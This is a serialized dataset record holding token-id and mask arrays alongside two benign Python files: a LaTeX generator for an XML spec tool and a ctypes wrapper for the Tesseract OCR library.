581,
12,
14718,
12,
11052,
304,
267,
862,
26,
288,
340,
1166,
508,
488,
26,
372,
288,
1166,
275,
7097,
14,
1122,
63,
6177,
8,
633,
9,
288,
1166,
275,
1211,
7694,
73,
12,
1166,
59,
73,
1527,
16,
566,
340,
1166,
59,
73,
61,
587,
334,
73,
12,
4074,
367,
284,
315,
1166,
566,
288,
1166,
459,
1213,
995,
1166,
459,
657,
77,
1873,
581,
995,
1166,
459,
12605,
995,
1166,
459,
9544,
418,
275,
2538,
12,
876,
77,
1873,
581,
12,
14718,
12,
11052,
288,
1166,
275,
4011,
14,
10738,
8,
633,
9,
288,
372,
1166,
267,
871,
26,
288,
372,
339,
347,
2754,
6824,
8,
277,
12,
2538,
12,
14718,
12,
5481,
12,
2323,
304,
267,
862,
26,
288,
2538,
275,
3633,
1213,
14,
7721,
8,
1213,
9,
288,
2754,
275,
1543,
83,
3240,
2660,
450,
614,
68,
7,
450,
334,
1213,
12,
1109,
8,
12605,
430,
288,
1166,
275,
7097,
14,
17755,
8,
277,
14,
1095,
63,
1073,
12,
291,
14,
1733,
63,
1073,
450,
4011,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
hovo1990/deviser
|
generator/util/generateLatex.py
|
1
|
3666
|
#!/usr/bin/env python
#
# @file generateLatex.py
# @brief function for generating all latex files
# @author Frank Bergmann
# @author Sarah Keating
#
# <!--------------------------------------------------------------------------
#
# Copyright (c) 2013-2015 by the California Institute of Technology
# (California, USA), the European Bioinformatics Institute (EMBL-EBI, UK)
# and the University of Heidelberg (Germany), with support from the National
# Institutes of Health (USA) under grant R01GM070923. All rights reserved.
#
# Permission is hereby granted, free of charge, to any person obtaining a
# copy of this software and associated documentation files (the "Software"),
# to deal in the Software without restriction, including without limitation
# the rights to use, copy, modify, merge, publish, distribute, sublicense,
# and/or sell copies of the Software, and to permit persons to whom the
# Software is furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
# THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
# DEALINGS IN THE SOFTWARE.
#
# Neither the name of the California Institute of Technology (Caltech), nor
# of the European Bioinformatics Institute (EMBL-EBI), nor of the University
# of Heidelberg, nor the names of any contributors, may be used to endorse
# or promote products derived from this software without specific prior
# written permission.
# ------------------------------------------------------------------------ -->
import sys
import os
import spec_files
from parseXML import ParseXML
from util import global_variables
def generateLatexFor(filename):
# look to see if figures are present
global_variables.deviser_file = filename
global_variables.current_dir = os.getcwd()
figs_dir = '{0}{1}{2}'.format(global_variables.current_dir, os.sep,
'figures')
if os.path.exists(figs_dir):
global_variables.figures_present = True
parser = ParseXML.ParseXML(filename)
ob = dict()
if global_variables.code_returned == \
global_variables.return_codes['success']:
# catch a problem in the parsing
try:
ob = parser.parse_deviser_xml()
except:
global_variables.code_returned \
= global_variables.return_codes['parsing error']
if global_variables.code_returned == \
global_variables.return_codes['success']:
try:
ff = spec_files.TexValidationRulesFile.TexValidationRulesFile(ob)
ff.write_file()
ff.close_file()
body = spec_files.TexBodySyntaxFile.TexBodySyntaxFile(ob)
body.write_file()
body.close_file()
macros = spec_files.TexMacrosFile.TexMacrosFile(ob)
macros.write_file()
macros.close_file()
except:
global_variables.code_returned = \
global_variables.return_codes['unknown error - please report']
def main(args):
if len(args) != 2:
print('Usage: generateLatex.py xmlfile')
else:
generateLatexFor(args[1])
if __name__ == '__main__':
main(sys.argv)
|
lgpl-2.1
|
[
3381,
2647,
15,
1393,
15,
1813,
2366,
199,
3,
199,
3,
768,
493,
259,
3550,
16500,
88,
14,
647,
199,
3,
768,
19127,
257,
805,
367,
12999,
1006,
15571,
1584,
199,
3,
768,
2502,
221,
11007,
23207,
13844,
1189,
199,
3,
768,
2502,
221,
428,
285,
11326,
25645,
1958,
199,
3,
199,
3,
31513,
3606,
9460,
199,
3,
199,
3,
1898,
334,
67,
9,
6171,
13,
7806,
701,
314,
8256,
73,
509,
22042,
1010,
25585,
402,
21580,
199,
3,
334,
6584,
73,
509,
22042,
12,
8217,
395,
314,
31615,
290,
699,
2308,
262,
509,
3889,
83,
1010,
25585,
334,
2769,
7847,
13,
14138,
41,
12,
738,
43,
9,
199,
3,
436,
314,
15904,
402,
5311,
73,
2264,
14630,
334,
27866,
3479,
395,
543,
2291,
687,
314,
20548,
199,
3,
1010,
6329,
3862,
402,
5311,
6130,
334,
1668,
33,
9,
1334,
16085,
820,
614,
22636,
1780,
1643,
1789,
14,
221,
2900,
4481,
4644,
14,
199,
3,
199,
3,
8779,
365,
11882,
10009,
12,
2867,
402,
11204,
12,
370,
1263,
4954,
12408,
282,
199,
3,
1331,
402,
642,
2032,
436,
4568,
3794,
1584,
334,
1589,
298,
10337,
1288,
199,
3,
370,
7962,
315,
314,
2290,
1928,
10588,
12,
5893,
1928,
12305,
199,
3,
314,
4481,
370,
675,
12,
1331,
12,
2811,
12,
5389,
12,
2780,
12,
11207,
12,
13473,
12,
199,
3,
436,
15,
269,
12743,
6866,
402,
314,
2290,
12,
436,
370,
11291,
12103,
370,
12676,
314,
199,
3,
2290,
365,
13985,
370,
886,
880,
12,
5420,
370,
314,
2569,
3704,
26,
199,
3,
199,
3,
710,
3432,
4248,
4245,
436,
642,
4983,
4245,
10989,
506,
5120,
315,
199,
3,
1006,
6866,
503,
13393,
12468,
402,
314,
2290,
14,
199,
3,
199,
3,
2334,
4141,
2281,
7049,
298,
1179,
2281,
401,
2428,
3408,
1634,
1821,
3826,
12,
7168,
1549,
199,
3,
5292,
12,
6931,
5400,
2845,
5471,
2296,
2334,
2990,
1634,
3169,
12,
199,
3,
3092,
2381,
437,
3115,
3104,
2401,
13229,
14,
1621,
4825,
6461,
7000,
199,
3,
2334,
10610,
1549,
5877,
8164,
6262,
7024,
2381,
1821,
13140,
12,
6736,
1549,
5010,
199,
3,
5603,
12,
7061,
1621,
1261,
9612,
1634,
7066,
12,
7056,
1549,
7334,
12,
7043,
199,
3,
4442,
12,
5738,
1634,
1549,
1621,
11287,
1663,
2334,
4141,
1549,
2334,
4815,
1549,
5010,
199,
3,
13198,
1621,
2334,
4141,
14,
199,
3,
199,
3,
11443,
314,
536,
402,
314,
8256,
73,
509,
22042,
1010,
25585,
402,
21580,
334,
6584,
15970,
395,
6590,
199,
3,
402,
314,
31615,
290,
699,
2308,
262,
509,
3889,
83,
1010,
25585,
334,
2769,
7847,
13,
14138,
41,
395,
6590,
402,
314,
15904,
199,
3,
402,
5311,
73,
2264,
14630,
12,
6590,
314,
1561,
402,
1263,
8417,
12,
1443,
506,
1202,
370,
10692,
199,
3,
503,
10016,
7585,
7131,
687,
642,
2032,
1928,
2488,
6791,
199,
3,
5313,
4983,
14,
199,
3,
5620,
518,
10541,
199,
199,
646,
984,
199,
646,
747,
199,
199,
646,
3158,
63,
1725,
199,
504,
2198,
4317,
492,
6077,
4317,
199,
504,
4884,
492,
2288,
63,
3669,
421,
199,
318,
3550,
16500,
88,
1858,
8,
1501,
304,
272,
327,
3648,
370,
1937,
340,
6085,
1482,
787,
3451,
272,
2288,
63,
3669,
14,
271,
433,
332,
63,
493,
275,
1788,
272,
2288,
63,
3669,
14,
1818,
63,
694,
275,
747,
14,
9458,
342,
272,
5883,
458,
63,
694,
275,
5041,
16,
8847,
17,
8847,
18,
5285,
908,
8,
2966,
63,
3669,
14,
1818,
63,
694,
12,
747,
14,
4127,
12,
3303,
283,
592,
1482,
358,
272,
340,
747,
14,
515,
14,
2444,
8,
5513,
63,
694,
304,
267,
2288,
63,
3669,
14,
592,
1482,
63,
1881,
275,
715,
272,
1798,
275,
6077,
4317,
14,
4003,
4317,
8,
1501,
9,
272,
2607,
275,
1211,
342,
272,
340,
2288,
63,
3669,
14,
600,
63,
19065,
508,
971,
288,
2288,
63,
3669,
14,
1107,
63,
6021,
459,
3742,
2565,
267,
327,
8579,
282,
5160,
315,
314,
6057,
267,
862,
26,
288,
2607,
275,
1798,
14,
1122,
63,
271,
433,
332,
63,
1652,
342,
267,
871,
26,
288,
2288,
63,
3669,
14,
600,
63,
19065,
971,
355,
275,
2288,
63,
3669,
14,
1107,
63,
6021,
459,
11059,
1125,
418,
272,
340,
2288,
63,
3669,
14,
600,
63,
19065,
508,
971,
288,
2288,
63,
3669,
14,
1107,
63,
6021,
459,
3742,
2565,
267,
862,
26,
288,
16328,
275,
3158,
63,
1725,
14,
13999,
13816,
12920,
1173,
14,
13999,
13816,
12920,
1173,
8,
2873,
9,
288,
16328,
14,
952,
63,
493,
342,
288,
16328,
14,
1600,
63,
493,
342,
288,
2396,
275,
3158,
63,
1725,
14,
13999,
8173,
16626,
1173,
14,
13999,
8173,
16626,
1173,
8,
2873,
9,
288,
2396,
14,
952,
63,
493,
342,
288,
2396,
14,
1600,
63,
493,
342,
288,
16954,
275,
3158,
63,
1725,
14,
13999,
25402,
1173,
14,
13999,
25402,
1173,
8,
2873,
9,
288,
16954,
14,
952,
63,
493,
342,
288,
16954,
14,
1600,
63,
493,
342,
267,
871,
26,
288,
2288,
63,
3669,
14,
600,
63,
19065,
275,
971,
355,
2288,
63,
3669,
14,
1107,
63,
6021,
459,
5187,
1125,
446,
8749,
3622,
418,
421,
199,
318,
2446,
8,
589,
304,
272,
340,
822,
8,
589,
9,
1137,
499,
26,
267,
870,
360,
7692,
26,
3550,
16500,
88,
14,
647,
17725,
12059,
358,
272,
587,
26,
267,
3550,
16500,
88,
1858,
8,
589,
59,
17,
566,
421,
199,
692,
636,
354,
363,
508,
2560,
973,
3706,
272,
2446,
8,
1274,
14,
3020,
9,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
2647,
15,
1393,
15,
1813,
2366,
199,
3,
199,
3,
768,
493,
259,
3550,
16500,
88,
14,
647,
199,
3,
768,
19127,
257,
805,
367,
12999,
1006,
15571,
1584,
199,
3,
768,
2502,
221,
11007,
23207,
13844,
1189,
199,
3,
768,
2502,
221,
428,
285,
11326,
25645,
1958,
199,
3,
199,
3,
31513,
3606,
9460,
199,
3,
199,
3,
1898,
334,
67,
9,
6171,
13,
7806,
701,
314,
8256,
73,
509,
22042,
1010,
25585,
402,
21580,
199,
3,
334,
6584,
73,
509,
22042,
12,
8217,
395,
314,
31615,
290,
699,
2308,
262,
509,
3889,
83,
1010,
25585,
334,
2769,
7847,
13,
14138,
41,
12,
738,
43,
9,
199,
3,
436,
314,
15904,
402,
5311,
73,
2264,
14630,
334,
27866,
3479,
395,
543,
2291,
687,
314,
20548,
199,
3,
1010,
6329,
3862,
402,
5311,
6130,
334,
1668,
33,
9,
1334,
16085,
820,
614,
22636,
1780,
1643,
1789,
14,
221,
2900,
4481,
4644,
14,
199,
3,
199,
3,
8779,
365,
11882,
10009,
12,
2867,
402,
11204,
12,
370,
1263,
4954,
12408,
282,
199,
3,
1331,
402,
642,
2032,
436,
4568,
3794,
1584,
334,
1589,
298,
10337,
1288,
199,
3,
370,
7962,
315,
314,
2290,
1928,
10588,
12,
5893,
1928,
12305,
199,
3,
314,
4481,
370,
675,
12,
1331,
12,
2811,
12,
5389,
12,
2780,
12,
11207,
12,
13473,
12,
199,
3,
436,
15,
269,
12743,
6866,
402,
314,
2290,
12,
436,
370,
11291,
12103,
370,
12676,
314,
199,
3,
2290,
365,
13985,
370,
886,
880,
12,
5420,
370,
314,
2569,
3704,
26,
199,
3,
199,
3,
710,
3432,
4248,
4245,
436,
642,
4983,
4245,
10989,
506,
5120,
315,
199,
3,
1006,
6866,
503,
13393,
12468,
402,
314,
2290,
14,
199,
3,
199,
3,
2334,
4141,
2281,
7049,
298,
1179,
2281,
401,
2428,
3408,
1634,
1821,
3826,
12,
7168,
1549,
199,
3,
5292,
12,
6931,
5400,
2845,
5471,
2296,
2334,
2990,
1634,
3169,
12,
199,
3,
3092,
2381,
437,
3115,
3104,
2401,
13229,
14,
1621,
4825,
6461,
7000,
199,
3,
2334,
10610,
1549,
5877,
8164,
6262,
7024,
2381,
1821,
13140,
12,
6736,
1549,
5010,
199,
3,
5603,
12,
7061,
1621,
1261,
9612,
1634,
7066,
12,
7056,
1549,
7334,
12,
7043,
199,
3,
4442,
12,
5738,
1634,
1549,
1621,
11287,
1663,
2334,
4141,
1549,
2334,
4815,
1549,
5010,
199,
3,
13198,
1621,
2334,
4141,
14,
199,
3,
199,
3,
11443,
314,
536,
402,
314,
8256,
73,
509,
22042,
1010,
25585,
402,
21580,
334,
6584,
15970,
395,
6590,
199,
3,
402,
314,
31615,
290,
699,
2308,
262,
509,
3889,
83,
1010,
25585,
334,
2769,
7847,
13,
14138,
41,
395,
6590,
402,
314,
15904,
199,
3,
402,
5311,
73,
2264,
14630,
12,
6590,
314,
1561,
402,
1263,
8417,
12,
1443,
506,
1202,
370,
10692,
199,
3,
503,
10016,
7585,
7131,
687,
642,
2032,
1928,
2488,
6791,
199,
3,
5313,
4983,
14,
199,
3,
5620,
518,
10541,
199,
199,
646,
984,
199,
646,
747,
199,
199,
646,
3158,
63,
1725,
199,
504,
2198,
4317,
492,
6077,
4317,
199,
504,
4884,
492,
2288,
63,
3669,
421,
199,
318,
3550,
16500,
88,
1858,
8,
1501,
304,
272,
327,
3648,
370,
1937,
340,
6085,
1482,
787,
3451,
272,
2288,
63,
3669,
14,
271,
433,
332,
63,
493,
275,
1788,
272,
2288,
63,
3669,
14,
1818,
63,
694,
275,
747,
14,
9458,
342,
272,
5883,
458,
63,
694,
275,
5041,
16,
8847,
17,
8847,
18,
5285,
908,
8,
2966,
63,
3669,
14,
1818,
63,
694,
12,
747,
14,
4127,
12,
3303,
283,
592,
1482,
358,
272,
340,
747,
14,
515,
14,
2444,
8,
5513,
63,
694,
304,
267,
2288,
63,
3669,
14,
592,
1482,
63,
1881,
275,
715,
272,
1798,
275,
6077,
4317,
14,
4003,
4317,
8,
1501,
9,
272,
2607,
275,
1211,
342,
272,
340,
2288,
63,
3669,
14,
600,
63,
19065,
508,
971,
288,
2288,
63,
3669,
14,
1107,
63,
6021,
459,
3742,
2565,
267,
327,
8579,
282,
5160,
315,
314,
6057,
267,
862,
26,
288,
2607,
275,
1798,
14,
1122,
63,
271,
433,
332,
63,
1652,
342,
267,
871,
26,
288,
2288,
63,
3669,
14,
600,
63,
19065,
971,
355,
275,
2288,
63,
3669,
14,
1107,
63,
6021,
459,
11059,
1125,
418,
272,
340,
2288,
63,
3669,
14,
600,
63,
19065,
508,
971,
288,
2288,
63,
3669,
14,
1107,
63,
6021,
459,
3742,
2565,
267,
862,
26,
288,
16328,
275,
3158,
63,
1725,
14,
13999,
13816,
12920,
1173,
14,
13999,
13816,
12920,
1173,
8,
2873,
9,
288,
16328,
14,
952,
63,
493,
342,
288,
16328,
14,
1600,
63,
493,
342,
288,
2396,
275,
3158,
63,
1725,
14,
13999,
8173,
16626,
1173,
14,
13999,
8173,
16626,
1173,
8,
2873,
9,
288,
2396,
14,
952,
63,
493,
342,
288,
2396,
14,
1600,
63,
493,
342,
288,
16954,
275,
3158,
63,
1725,
14,
13999,
25402,
1173,
14,
13999,
25402,
1173,
8,
2873,
9,
288,
16954,
14,
952,
63,
493,
342,
288,
16954,
14,
1600,
63,
493,
342,
267,
871,
26,
288,
2288,
63,
3669,
14,
600,
63,
19065,
275,
971,
355,
2288,
63,
3669,
14,
1107,
63,
6021,
459,
5187,
1125,
446,
8749,
3622,
418,
421,
199,
318,
2446,
8,
589,
304,
272,
340,
822,
8,
589,
9,
1137,
499,
26,
267,
870,
360,
7692,
26,
3550,
16500,
88,
14,
647,
17725,
12059,
358,
272,
587,
26,
267,
3550,
16500,
88,
1858,
8,
589,
59,
17,
566,
421,
199,
692,
636,
354,
363,
508,
2560,
973,
3706,
272,
2446,
8,
1274,
14,
3020,
9,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
jiangyunfei/Michelangelo
|
libs/tesstool.py
|
1
|
5182
|
#!/usr/bin/python
# -*- coding: utf-8 -*-
"""Library with tools related to tesseract
"""
__author__ = 'Jiang Yunfei'
__version__ = '0.1'
__date__ = '2015.04'
import os
import sys
import ctypes
from ctypes.util import find_library
from itertools import count
LIBPATH = '/usr/local/lib/'
VERSION = ''
# Define Page Iterator Levels
RIL = ['RIL_BLOCK', 'RIL_PARA', 'RIL_TEXTLINE', 'RIL_WORD', 'RIL_SYMBOL']
#Page Segmentation Modes
PSM = ['PSM_OSD_ONLY', 'PSM_AUTO_OSD', 'PSM_AUTO_ONLY', 'PSM_AUTO',
'PSM_SINGLE_COLUMN', 'PSM_SINGLE_BLOCK_VERT_TEXT', 'PSM_SINGLE_BLOCK',
'PSM_SINGLE_LINE', 'PSM_SINGLE_WORD', 'PSM_CIRCLE_WORD', 'PSM_SINGLE_CHAR',
'PSM_SPARSE_TEXT', 'PSM_SPARSE_TEXT_OSD']
(PSM_OSD_ONLY, PSM_AUTO_OSD, PSM_AUTO_ONLY, PSM_AUTO, PSM_SINGLE_COLUMN,
PSM_SINGLE_BLOCK_VERT_TEXT, PSM_SINGLE_BLOCK, PSM_SINGLE_LINE,
PSM_SINGLE_WORD, PSM_CIRCLE_WORD, PSM_SINGLE_CHAR, PSM_SPARSE_TEXT,
PSM_SPARSE_TEXT_OSD, PSM_COUNT) = map(ctypes.c_int, xrange(14))
def iter_ptr_list(plist):
""" Iterator for pointer list - to parse C array
Source: github.com/Yaafe/Yaafe/blob/master/src_python/yaafelib/core.py
"""
for i in count(0):
if not plist[i]:
raise StopIteration
yield plist[i]
def get_tessdata_prefix():
"""Return prefix for tessdata based on enviroment variable
"""
tessdata_prefix = os.environ.get('TESSDATA_PREFIX')
if not tessdata_prefix:
tessdata_prefix = '../'
return tessdata_prefix
def get_tesseract(search_path='.'):
""" Get tesseract handle
"""
if sys.platform == 'win32':
lib_name = 'libtesseract303'
_path = os.environ['PATH']
for _dir in ['', 'win32', '..' , '..\win32']:
temp_path = os.path.join(search_path, _dir)
os.environ['PATH'] = _path + os.pathsep + temp_path
lib_path = find_library(lib_name)
if not lib_path is None:
lib_path = os.path.realpath(lib_path)
print ("found", lib_path)
break
else:
lib_name = 'libtesseract.so.3'
lib_path = LIBPATH + 'libtesseract.so.3.0.3'
try:
tesseract = ctypes.cdll.LoadLibrary(lib_name)
except OSError:
try:
tesseract = ctypes.cdll.LoadLibrary(lib_path)
except OSError:
print('Loading of %s failed...' % lib_name)
print('Loading of %s failed...' % lib_path)
return
global VERSION
tesseract.TessVersion.restype = ctypes.c_char_p
tesseract.TessVersion.argtypes = []
VERSION = tesseract.TessVersion()
class _TessBaseAPI(ctypes.Structure): pass
TessBaseAPI = ctypes.POINTER(_TessBaseAPI)
tesseract.TessBaseAPICreate.restype = TessBaseAPI
tesseract.TessBaseAPIDelete.restype = None # void
tesseract.TessBaseAPIDelete.argtypes = [TessBaseAPI]
tesseract.TessBaseAPIInit3.argtypes = [TessBaseAPI,
ctypes.c_char_p,
ctypes.c_char_p]
tesseract.TessBaseAPISetImage.restype = None
tesseract.TessBaseAPISetImage.argtypes = [TessBaseAPI,
ctypes.c_void_p,
ctypes.c_int,
ctypes.c_int,
ctypes.c_int,
ctypes.c_int]
tesseract.TessBaseAPIGetUTF8Text.restype = ctypes.c_char_p
tesseract.TessBaseAPIGetUTF8Text.argtypes = [TessBaseAPI]
return tesseract
def get_version():
""" Get tesseract version
"""
tesseract = get_tesseract()
if not tesseract:
return
tesseract.TessVersion.restype = ctypes.c_char_p
tesseract.TessVersion.argtypes = []
return tesseract.TessVersion()
def get_list_of_langs(tesseract=None, api = None):
""" Get tesseract version
"""
if not tesseract:
tesseract = get_tesseract()
if not tesseract:
return
if not api:
api = tesseract.TessBaseAPICreate()
# check if tesseract was inited => list of languages is availabe only after
# tesseract init
tesseract.TessBaseAPIGetInitLanguagesAsString.restype = ctypes.c_char_p
init_lang = tesseract.TessBaseAPIGetInitLanguagesAsString(api)
if not init_lang:
tesseract.TessBaseAPIInit3(api, None, None)
get_langs = tesseract.TessBaseAPIGetAvailableLanguagesAsVector
get_langs.restype = ctypes.POINTER(ctypes.c_char_p)
langs_p = get_langs(api)
langs = []
if langs_p:
for lang in iter_ptr_list(langs_p):
langs.append(lang)
return sorted(langs)
def turn2Cint(x):
cint =ctypes.c_int(x)
return cint
def turn2char(s):
charP = ctypes.create_string_buffer(s)
return charP
def main():
"""Run a simple test
"""
version = get_version()
if version:
print ('Found tesseract OCR version %s' % version)
print ('Available languages:', get_list_of_langs())
else:
print ('Tesseract is not available')
if __name__ == '__main__':
main()
|
apache-2.0
|
[
3381,
2647,
15,
1393,
15,
1548,
199,
3,
1882,
2803,
26,
2774,
13,
24,
1882,
199,
199,
624,
7424,
543,
7249,
4048,
370,
221,
744,
332,
2442,
199,
624,
199,
199,
363,
2502,
363,
275,
283,
16911,
621,
1488,
324,
771,
73,
7,
199,
363,
1023,
363,
275,
283,
16,
14,
17,
7,
199,
363,
602,
363,
275,
283,
7806,
14,
966,
7,
199,
199,
646,
747,
199,
646,
984,
199,
646,
5577,
199,
504,
5577,
14,
1974,
492,
2342,
63,
4342,
199,
504,
7975,
492,
2338,
199,
199,
32119,
275,
1994,
2647,
15,
1832,
15,
773,
4805,
199,
4612,
275,
2125,
199,
199,
3,
13930,
10331,
25769,
20400,
83,
199,
50,
1193,
275,
788,
50,
1193,
63,
8475,
297,
283,
50,
1193,
63,
4014,
33,
297,
283,
50,
1193,
63,
3876,
6174,
297,
283,
50,
1193,
63,
5172,
297,
283,
50,
1193,
63,
10527,
418,
199,
199,
3,
3276,
3240,
71,
3117,
4900,
83,
199,
48,
4029,
275,
788,
48,
4029,
63,
3100,
36,
63,
10452,
297,
283,
48,
4029,
63,
13883,
63,
3100,
36,
297,
283,
48,
4029,
63,
13883,
63,
10452,
297,
283,
48,
4029,
63,
13883,
297,
199,
7,
48,
4029,
63,
16425,
63,
21436,
297,
283,
48,
4029,
63,
16425,
63,
8475,
63,
8851,
63,
3876,
297,
283,
48,
4029,
63,
16425,
63,
8475,
297,
199,
7,
48,
4029,
63,
16425,
63,
6174,
297,
283,
48,
4029,
63,
16425,
63,
5172,
297,
283,
48,
4029,
63,
31749,
906,
63,
5172,
297,
283,
48,
4029,
63,
16425,
63,
5901,
297,
199,
7,
48,
4029,
63,
51,
23354,
63,
3876,
297,
283,
48,
4029,
63,
51,
23354,
63,
3876,
63,
3100,
36,
418,
199,
199,
8,
48,
4029,
63,
3100,
36,
63,
10452,
12,
510,
4029,
63,
13883,
63,
3100,
36,
12,
510,
4029,
63,
13883,
63,
10452,
12,
510,
4029,
63,
13883,
12,
510,
4029,
63,
16425,
63,
21436,
12,
199,
510,
4029,
63,
16425,
63,
8475,
63,
8851,
63,
3876,
12,
510,
4029,
63,
16425,
63,
8475,
12,
510,
4029,
63,
16425,
63,
6174,
12,
199,
510,
4029,
63,
16425,
63,
5172,
12,
510,
4029,
63,
31749,
906,
63,
5172,
12,
510,
4029,
63,
16425,
63,
5901,
12,
510,
4029,
63,
51,
23354,
63,
3876,
12,
199,
510,
4029,
63,
51,
23354,
63,
3876,
63,
3100,
36,
12,
510,
4029,
63,
8760,
9,
275,
2341,
8,
9798,
14,
67,
63,
442,
12,
4945,
8,
1079,
430,
199,
199,
318,
2740,
63,
4695,
63,
513,
8,
10265,
304,
272,
408,
25769,
367,
